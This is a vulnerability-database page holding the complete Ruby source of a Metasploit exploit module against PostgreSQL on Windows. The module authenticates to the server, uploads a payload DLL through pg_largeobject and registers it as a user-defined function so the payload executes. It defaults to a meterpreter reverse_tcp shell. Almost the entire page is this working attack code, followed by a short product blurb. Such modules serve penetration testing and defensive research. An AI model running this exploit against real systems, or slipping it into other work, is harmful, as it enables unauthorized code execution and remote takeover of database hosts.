Lucene search
K

PostgreSQL for Microsoft Windows Payload Execution

🗓️ 23 Mar 2011 19:36:07Reported by Bernardo Damele A. G. <[email protected]>, todb <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 43 Views

PostgreSQL Windows Payload Execution via pg_largeobjec

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Postgres
  include Msf::Auxiliary::Report
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::OptionalSession::PostgreSQL

  # Creates an instance of this module.
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PostgreSQL for Microsoft Windows Payload Execution',
      'Description'    => %q{
        On default Microsoft Windows installations of PostgreSQL the postgres
        service account may write to the current directory (which is usually
        "C:\Program Files\PostgreSQL\<version>\data" where <version> is the
        major.minor version of PostgreSQL). UDF DLL's may be sourced from
        there as well.

        This module uploads a Windows DLL file via the pg_largeobject method
        of binary injection and creates a UDF (user defined function) from
        that DLL. Because the payload is run from DllMain, it does not need to
        conform to specific Postgres API versions.
      },
      'Author'         =>
      [
        'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the postgresql udf libraries
        'todb' # this Metasploit module
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'https://web.archive.org/web/20100803002909/http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' ], # A litte more specific to PostgreSQL
        ],
      'Platform'       => 'win',
      'Targets'        =>
      [
        [ 'Windows x86',
          {
            'Arch' => ARCH_X86,
            'DefaultOptions' => {
              'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
            }
          }
        ],
        [ 'Windows x64',
          {
            'Arch' => ARCH_X64,
            'DefaultOptions' => {
              'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
            }
          }
        ],
      ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2009-04-10', # Date of Bernardo's BH Europe paper.
    ))

    deregister_options('SQL', 'RETURN_ROWSET')
  end

  def check
    version = postgres_fingerprint

    if version[:auth]
      print_good "Authentication successful. Version: #{version}"
      return CheckCode::Appears # WRITE permission needs to be proven to get CheckCode::Vulnerable
    else
      print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
      return CheckCode::Safe
    end
  end

  def exploit
    self.postgres_conn = session.client if session
    version = do_login(username,password,database)
    case version
    when :noauth; print_error "Authentication failed"; return
    when :noconn; print_error "Connection failed"; return
    else
      print_status("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{version}")
    end

    fname = "#{Rex::Text.rand_text_alpha(8)}.dll"
    register_files_for_cleanup(fname)

    unless postgres_upload_binary_data(generate_payload_dll, fname)
      print_error "Could not upload the UDF DLL"
      return
    end

    print_status "Uploaded as #{fname}"
    begin
      func_name = Rex::Text.rand_text_alpha(10)
      postgres_query(
        "create or replace function pg_temp.#{func_name}()"+
        " returns void as '#{fname}','#{func_name}'"+
        " language c strict immutable"
      )
    rescue RuntimeError => e
      print_error "Failed to create UDF function: #{e.class}: #{e}"
    end
    postgres_logout if @postgres_conn && session.blank?

  end

  # Authenticate to the postgres server.
  #
  # Returns the version from #postgres_fingerprint
  def do_login(user=nil,pass=nil,database=nil)
    begin
      password = pass || postgres_password
      vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless self.postgres_conn
      result = postgres_fingerprint(
        :db => database,
        :username => user,
        :password => password
      )
      if result[:auth]
        report_service(
          :host => postgres_conn.peerhost,
          :port => postgres_conn.peerport,
          :name => "postgres",
          :info => result.values.first
        )
        return result[:auth]
      else
        print_error("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
        return :noauth
      end
    rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
      return :noconn
    end
  end


end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation